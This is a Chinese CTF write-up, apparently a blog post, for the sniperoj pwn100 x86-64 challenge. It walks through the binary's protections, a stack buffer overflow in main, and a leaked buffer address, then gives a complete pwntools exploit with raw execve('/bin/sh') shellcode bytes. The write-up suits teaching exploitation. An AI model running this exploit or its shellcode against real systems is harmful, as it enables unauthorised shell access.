sniperoj-pwn100-shellcode-x86-64(writeup)

sniperoj-pwn100-shellcode-x86-64


1、首先checksec文件属性

root@kali:~/pwn_learn/wiki# checksec sniperoj_shellcode
[*] '/root/pwn_learn/wiki/sniperoj_shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

2、然后IDA打开程序

shift+f12打开字符串窗口,未发现system和binsh,因此需要考虑写shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

分析源码发现,buf分配的空间为0x10,而read的大小为0x40,明显存在溢出,因此我们能够使用read来进行栈溢出,偏移量为0x10+8=24
其次发现代码中已经动态的输出了buf的地址,因此随机化地址便可以进行绕过。

3、计算允许的shellcode长度

0x40-(0x10+8)- 8 = 32位,(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度。因此构建的shellcode必须在32位以内。

之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有32字节,因此并不适用,
需要我们到

https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/ 

查询构造相应的shellcode,例如查到(使用其中一个即可,测试有效)

https://www.exploit-db.com/shellcodes/47008(22字节)
https://www.exploit-db.com/shellcodes/46907(23字节)
https://www.exploit-db.com/shellcodes/43550(24字节)
https://www.exploit-db.com/shellcodes/42179(24字节)
https://www.exploit-db.com/shellcodes/41883(31字节)
。。。。。。

4、EXP编写

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
import sys

pwd = sys.path[0]
context.log_level = 'debug'

p = process(pwd + '/sniperoj_shellcode')
p.recvuntil('[')
buf_addr = p.recvuntil(']',drop=True)
print (buf_addr)

shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

payload = 'A' * (0x10 + 8) + p64(int(buf_addr,16) + 0x10 + 8 + 8)  + shellcode

p.sendlineafter('Now give me your answer : \n',payload)

p.interactive()

执行结果
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值